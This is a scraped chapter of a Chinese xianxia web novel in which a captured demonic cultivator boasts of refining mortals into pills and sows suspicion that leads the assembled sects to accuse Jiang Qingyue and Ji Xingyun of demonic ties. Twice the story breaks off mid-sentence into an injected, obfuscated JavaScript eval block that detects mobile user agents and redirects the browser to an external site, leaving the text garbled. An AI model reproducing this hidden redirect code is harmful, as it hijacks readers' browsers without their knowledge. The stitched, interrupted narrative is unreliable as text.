他心中的怒火随着身上不断增长的疼痛疯蹿,最终爆发为歇斯底里的怒吼:“我可是仙门修士!我上天入地无所不能,你们却让我在那群蠢人面前受尽屈辱!什么狗屁惩戒,根本就是为了维持你们自己的好名声,一个劲地作践我!”
那紫霄宫的修士似是十分不能理解他的思想:“……所以,你便要叛出宗门,杀人取乐?”
怀德笑出了眼泪:“你们还真是天真,不过一挥手便死一片的玩意,杀来有什么乐趣?我是在此找到了自己的道!”
他无视其余人面上的惊愕,旁若无人道:“出了紫霄宫我才发现自己之前的目光有多么狭隘,仙门不容,难不成还不许我另寻出路?凡人本身愚蠢又无用,但以他们血肉炼成的丹药可是有用的很呢!”
众人脸色大变,眼神不由自主地跟着他的话转移到怀德那只魔爪上。
听着四周传来的干呕声,怀德十分得意地眯起眼睛:“你们是没瞧见,那些凡人被我炼成丹前,还对我磕头求饶呢哈哈哈哈哈!”
他这番话,让在场人都不自觉捏紧了拳头,就连一贯不对付的仙游宫和天罡宗都暂时统一了战线,一致认为——从未见过如此厚颜无耻之人!
那群少年人从未听过这等惊世骇俗的言论,他们从小接受的教育也让他们无法理解共情:“你枉为修士!不配修仙!”
“他们都是活生生的一条命啊!你怎么下得去手!”
怀德嗤笑:“在变强面前,一切事物都要为我所用,区区几十个凡人又算得了什么?”
说着,他在地上换了个舒服的姿势,诡谲一笑:“你们以为抓到我就够了吗?哈哈哈哈哈一群蠢货!若不是你们内部的人与我里应外合,我又怎么能一举端了西庄镇?啊哈哈哈哈!”
此言一出,众人皆是大惊,纷纷用怀疑的目光仔细甄别身边人,生怕怀德口中的叛徒就潜藏在自己身边。
一时间人人自危。
秦玉山身为东道主,自然是首先被怀疑的人选,有人疑道:“秦宗主,难道你不该解释一下吗——这魔修是紫霄宫出来的,却偏偏选在了你天罡宗的益阳作恶?这其中是否有何隐情?”
秦玉山大惊失色,连忙摆手:“你们别看我,不是我!”
天罡宗的其他人原本就憋了一腔怒火,如今又被质疑,不禁怒道:“你们这话是什么意思?难不成怀疑天罡宗与魔修有染吗?”
“我可没这样说,你急什么?难不成是心虚了?”
“你……”
“够了!”魏音尘打断他们,“你们没有自己的是非观吗,他说什么你们便信什么?”
众人被她一喝,也有些冷静了下来,纷纷闭了嘴不再言语,只是心有忿忿地与其他宗门的人拉开了距离。
满街寂静中,却有一人悠悠开口道:“唔,魏仙师说得极有道理,我也认同。可若是此人出自昆仑山派,不知魏仙师可还能如此义正辞严?”
魏音尘皱起眉,看向苏映雪:“有话直说,不要拐弯抹角。”
“魏仙师爽快,既然如此我便也直说了——半月前,颍川地界内流传着一种传言,曾有人亲眼目睹失踪百年的江清月重现人世……不知诸位可有耳闻?”
苏映雪目光扫过四周,众人有的点头,有的面露疑惑同身旁人交谈,她收回视线,精准落在人群中,勾起一抹微笑:“江仙师,你还不准备现身吗?”
此言一出,如油入滚水,登时溅起一大片沸沸扬扬议论之声。众人神色各异,动作却整齐划一,纷纷又向后方退了几步。
方才,江清月见五大宗门齐聚在此,心里便隐隐约约觉出一丝不对劲,在听完怀德名为叙述实则挑拨的话后,不由陷入沉思——是谁将他们以各种名义引来此地?如此做又有什么目的?
此刻,见苏映雪图穷匕见,江清月竟也不觉意外。
纪行云冷声道:“不知苏宫主所言与义庄之事有何干系?方才苏宫主不喜天罡宗行事之风,怎的如今自己倒用得得心应手?”
这下,还没等苏映雪开口,便有人忍不住道:“纪宗主说的好没道理!这哪里能混为一谈?江清月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447504|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
百年前便背叛修仙界,如今她重生归来,定是打着毁灭修仙界的念头!”
“没错!重生之术乃是上古秘法,她又是从何得知?怕不是早就与魔族内外勾结了!”
“纪宗主,我们知道你是被蒙蔽了,所以才看不出来她的险恶用心!”
“……”
纪行云冷峻道:“经目之事犹未真,背后之言岂可信。”
见众人仍是固执己见,他眉眼间泛起戾气,属于元婴后期的威压一瞬间在长街上蔓延开来,方才还喋喋不休的几人纷纷被压得跪倒在地,再也说不出一句话来。
但议论之声非但没有被这股强者的威压抑制住,反而触底反弹更加激烈。
见纪行云和魏音尘手腕微动,竟是想要拔剑的姿势,江清月在心底叹了一口气,按住了他们的手。
她给了师弟师妹一个安心的眼神,上前两步,朗声道:“我就在此处,诸位又何必如此咄咄逼人?”
在场不乏有认识她的修士,见她如今容貌与之前大不相同,更是大惊:“同魂异体,果然是借尸还魂!这是夺舍邪术啊!”
江清月没理会那些对她容貌指指点点的人,只是看向一旁好整以暇的苏映雪:“苏宫主,你我今日第一次见面,我不记得之前与你有何种过节,为何你对我有如此大的恶意呢?”
苏映雪笑道:“此言差矣,我都是为了修仙界的未来考虑。”
这话说的,倒显得江清月方才的质问有些面目可憎了。
这时,许久未曾开口的田宗主忽然挤出人群,连声道:“诸位!江仙师真的不是与魔族勾结之人!再怎么说也不能一棒子打死嘛,诸位可否听我一言?”
苏映雪瞥他一眼,哼了一声。
“多谢多谢,”田宗主向四周抱了抱拳,“其实大家原本不用这样剑拔弩张,有什么话我们可以掰开揉碎仔细说嘛!方才我听诸位说起‘夺舍’,可知世上还有一种秘法,名叫做‘献舍’,即一人心甘情愿将身体奉献给另外一人。夺舍是损耗徳行的邪术,可献舍却与之恰恰相反,乃是德行高尚之人的魂魄才能被献舍之术召唤!二者虽只有一字之差,却差之毫厘缪以千里呀!”
苏映雪神色莫名,没有言语。
有人将信将疑道:“那你怎知她是献舍而非夺舍呢?”
田宗主露出个笑脸,继续侃侃而谈,愣是将只有三分的可信度提升到了七分。
若不是江清月是当事人,恐怕也要被他的这番长篇大论说服了。
这时,一声怪笑从旁边传来。
众人循声看去,只见怀德被捆仙锁绑住歪斜着倒在地上,面上神情却与他的狼狈姿态截然相反,是一种夸张的嘲弄:“哈哈哈哈哈,有意思!瞧你们这群道貌岸然的狗屁仙人狗咬狗真是有意思!”
“你们仙门的……唔,叛徒?哈哈哈叛徒,我喜欢这个词!他的确是昆仑山派的人,不过——”
他好好欣赏了一遍众人各有千秋的神色,才悠悠开口道:“这人不是江清月,而是你们最最信任的昆仑山派宗主,纪行云!”
“毕竟,他可是货真价实的魔修。”
37. 软肋
可经过方才江清月一事,怀德的话在众人这里已经没什么可信度了。
那名紫霄宫弟子皱眉道:“莫要再胡言乱语攀扯他人,你如今犯下罪孽,速速同我们回宗门……”
就在这时,人群中忽的传来一阵吱哇乱叫,几个衣衫褴褛、鼻青脸肿的人从长街一侧跑来,口中不断喊着:“有魔修!救命啊!”
他们身上衣衫破损,面上神情也是如出一辙的惊恐,瞧起来便像是遭受了莫大的折磨。
苏映雪不着痕迹地退了几步:“你们是何人?”
“我们,我们……”为首的一人好似缓过了神来,忽的扑到苏映雪脚下,似是想拽住她的衣角。一下没摸到,他也没关注,只是一味地痛哭出声,“各位仙长救命啊!有人想要杀我们!”
“你们方才说是魔修伤人,抬头仔细看看可是这人伤的你们?”那紫霄宫弟子面上神情更是严肃,他转向怀德厉声道,“杀孽过重,灵脉浑浊,你早已不再适合修仙,是我们发现的太晚了,才让你一直为祸人间。”
怀德嗤笑一声,毫不在意地调整了一个舒服的姿势。
下一瞬,那哭诉的散修却转了方向,盯着人群中的纪行云恨声道:“是他!是这个道貌岸然的人!”
此言一出,众人面色神情有些怪异,眼神不住地在那群散修与怀德之间转来转去——怎会如此巧合?上一秒他才说了纪行云是魔修,下一瞬便有人前来为他作证?
怀德懒声道:“这可不是我找来的。”
虽没亲眼见到方才的场景,但那几名散修摸打滚打久了,极会察言观色,顿时明了此情此景是利于他们的,忙哭天抢地道:“各位仙长,我们不过是小小的散修,哪怕给我们成千上万个胆子也不敢骗你们呀!”
江清月勉强辨认出了他们——原来是刚进西庄镇遇到的那伙散修。
“你们可敢说方才说了什么、又做了什么?”江清月道,“顶着这身不知从哪滚出来的伤口便可来此随意污蔑他人?”
那伙散修的确理亏,方才热血上头,此刻也稍稍冷静下来了,支支吾吾吞吞吐吐,一看便知他们并不想表面看起来那般可怜。
田宗主愤愤道:“真是可恶至极!不过与昆仑山派交涉过几句,便可随意诬陷吗?要我说,可一定要严惩这几人,否则以后便要人人自危了!”
那几人听到“严惩”,面色一阵红一阵白,深知此时伸头是一刀缩头也是一刀,已经无法退缩,咬牙道:“我们的确与昆仑山派交涉过,但昆仑山派当面一套背后一套,难道还不许人说了吗?当时我们不过议论了两句,你们当面说不计较,转头却将我们打成这样!诸位瞧瞧我们身上这些伤口,那可都是货真价实的!”
那人梗了梗脖子:“今日,我便要在此揭露你们昆仑山派的假面!”
田宗主皱眉:“讲话可要有证据,如何证明纪宗主是攻击你们的魔修?”
散修道:“当然有证据!我们不就是最好的人证吗?难不成还需要找别的证据?只需要看看我们身上的伤……噗!”
那人喊得脸红脖子粗,但话说到一半,他却突然喷出一大口鲜血,脸色也跟着灰败下去。
他低头一看,一只黑色爪子穿过胸膛,闪着诡异光泽的的爪尖上正往下滴着温热的血液。他口中发出“嗬嗬”两声急喘,剩下的话全部堵在了嗓子眼里,随着“嘭”的一声倒地,归于了沉寂。
江清月猛地转头看向怀德,他小臂上空空如也——那只魔爪果然是他打出来的!
怀德此时仰面躺在地上,被捆仙索绑住的身体已经完全萎缩了下去,只剩下一个正常人的头支在瘦骨嶙峋的躯体上,像是下一秒就要支撑不住掉下来。
被捆仙索捆住的人,全身的修为都会被禁锢封印,无法施展。
但法器毕竟只是法器,若是拼尽全力硬闯也可以挣脱,只是一般人讲究的都是“留得青山在不怕没柴烧”,谁知怀德竟是这样疯子般的人物,竟是将全身的灵力血肉都供奉给了那只魔爪,拼尽一切逃脱了捆仙索的束缚!
他这是死也要拉个垫背的!
那魔爪接连吸食了多人的血肉,此刻竟像是有了自我意识一般,飞快将散修倒地的尸身吸了个干干净净,又满场乱窜寻找着下一个下手的目标。
此举虽将众人打了个措手不及,但在场的毕竟都不是刚入门的年轻弟子,很快便反应过来,纷纷施展身手欲将魔爪困住。
可不论是单人挥出的灵流,还是几人合击打出的灵网,都无法阻挡魔爪的前进,不过只能控制住魔爪几息的时间!
苏映雪闪身避过从侧方打来的灵光,骂了一声:“别乱放招了,懂不懂合作啊?”
魏音尘皱了皱眉,下一击顺着苏映雪挥出的灵流织出了一张灵网,向着那魔爪罩去!
可由于魏音尘从没与人合作过,掌握不好灵力的控制,灵网还未凝出实体便溃散了。
那魔爪在空中拐了个弯,灵巧地躲开了围捕,直直向着江清月冲来!
江清月心头一凛,拔剑向前甩去一击,与此同时向后连退三步,再抬头看去时那魔爪竟是又到了身前——果然抵挡不住!
她急急侧身避开魔爪尖利的爪尖,心中快速思考。
她如今只是金丹期修为,仅凭她自己是无法抵挡魔爪如此诡谲的攻击的,恐怕只有魏音尘与苏映雪合力才能将其控制住,可看她们俩如今的默契度,不知要猴年马月才能打出一记漂亮的合击。
躲避间,她回头一看,那魔爪仍是锲而不舍地追在她身后。
江清月心中不由划过一丝疑虑:“为何这魔爪仿佛在她身上装了定位器一般,追着她不放?”
下一瞬,怀德半死不活的声音传来,替她解了惑:“提示各位一下,这魔爪上汇集着我所有的魔力,沾身必死无疑,只有与其同宗同源的魔气可以击败哦。若是诸位不信,大可浪费时间看看我说的对不对,不过……呵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452753|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呵,恐怕江仙师没那么多时间了吧?不知你可还有再次重生的机会?”
江清月暗骂了一声,心中极速思考——若要一举消灭魔爪,恐怕只有一招——自爆!
——大不了再被系统骂一顿!反正也不是第一回了!
只是她刚起了一个念头,便觉在身后不断逼近的阴冷气息忽的消散了,取而代之的是一股更加霸道、颇具压迫性的……魔气。
哪里来的魔气?
难不成——
江清月猛地转身,身前一缕发丝被那股来不及收回的凛冽魔气削断,缓缓飘落在地。
纪行云手臂还维持着举起的姿势,他依然是一身青衣,但周身的气质却完全变了,面色惨白,唇色鲜红,浓烈的魔气萦绕在他四周,仍在躁动。
纪行云嘴唇动了几下,似是想说什么。
只是他还未开口,便被其他人的惊叫阻断:“纪行云果然是魔修!天哪!你们看他那一身的魔气!”
“对!他肯定是魔修!”
“昆仑山派就是个魔窟!百年前出了个江清月,如今又出了个纪行云!真是仙门不幸!”
“仙门不幸?我看未必!身为魔修,纪行云却安然无恙地坐了整整一百年的宗主之位,谁知是不是他们是不是在包庇纪行云?说不定啊,整座昆仑山派都是魔修呢!”
“天啊,那昆仑山派岂不是成了魔族大本营?”
“……”
“不是,”纪行云嗓音沙哑,“这是我自己的事,与昆仑山派无关。”
众人见他开口,纷纷以忌惮戒备的眼神盯着他的动作,直到后退至安全位置后才开口道:“你一人所言,我们如何能信?昆仑山派是你管理的,还不是你想怎么说便怎么说?难不成还能打开门让我们进去搜查吗?”
“对,你若是真无愧于心,敢不敢打开大门让我们检查?”
“就是——哎呦,魏仙师你做什么?”
那人险些被脚下突然出现的裂缝绊倒,忙后退几步,怒气冲冲地看向魏音尘。
魏音尘冷着脸收起剑:“昆仑山派岂是容你们撒野的地方。你们方才用同样的招数冤枉了我的师姐,现在又想诬蔑我的师弟吗?”
众人很是不满,但又顾忌着她手里那把重剑,不好再大声嚷嚷。
可在场人还是有人不怕她的,苏映雪便是其中一人。
见了方才堪称戏剧性的转变,苏映雪脸上也有一丝惊异之色,但她将这份惊异隐藏得很好:“怎么,魏仙师要包庇魔修?”
田宗主面色为难:“魏仙师这是关心则乱,可如今境况都是大家亲眼所见,你瞧这事……”
他们还顾忌着一宗之主的面子说得委婉,但那些隐在人群的的其他人却说的格外直接,你一眼我一语道:“昆仑山派的人是当大家都不长眼吗,方才纪行云身上的魔气多到能溢出来,这怎么看都非一日之功,还能抵赖不成?难不成你当大家的眼睛都不好使吗?”